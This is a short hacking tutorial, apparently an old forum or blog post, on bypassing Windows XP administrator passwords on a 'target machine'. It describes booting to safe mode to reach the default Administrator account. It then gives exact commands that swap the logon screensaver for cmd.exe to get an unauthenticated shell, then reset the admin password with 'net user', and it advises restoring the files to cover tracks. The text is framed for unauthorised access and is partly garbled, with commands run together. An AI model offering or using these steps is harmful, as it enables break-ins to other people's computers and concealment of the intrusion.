How to hack Windows XP Admin Passwords-Easy Way

This hack will only work if the person that owns the machine has no intelligence. This is how it works:

When you or anyone installs Windows XP for the first time your  asked to put in your username and up to five others.

Now, unknown to a lot of other people that this is the only place in  Windows XP that you can access password the default Administrator Diagnostic Account.

This means that to by pass most administrators accounts on Windows XP all you have to do is boot to safe mode by pressing F8 during boot up and choosing it.

Log into the Administrator Account and create your own or change the password on the current Account.

This  works only if the user on setup specified a password for the Administrator Account.

This has worked for me on both Windows XP Home and Pro.

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly:

cd\ *drops to root 

cd\windows\system32 *directs to the system32 dir mkdir temphack *creates the folder temphack copy logon.scr temphack\logon.scr *backsup logon.scr

copy cmd.exe temphack\cmd.exe *backsup cmd.exe del logon.scr *deletes original logon.scr rename cmd.exe logon.scr *renames cmd.exe to logon.scr

exit *quits dos

(this appeared on http://www.astalavista.com  but i found that it wouldn’t work  on the welcome screen of a normal booted machine)

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

“net user <admin account name here> password”

If the Administrator Account is called John and you want the password smith enter this

“net user John smith”

and this changes the password on John machine to smith and your in.

Note:dont forget to copy the contents of temphack back into the system32 dir to cover tracks.

Any , Errors, Suggestions  just post a  general comment.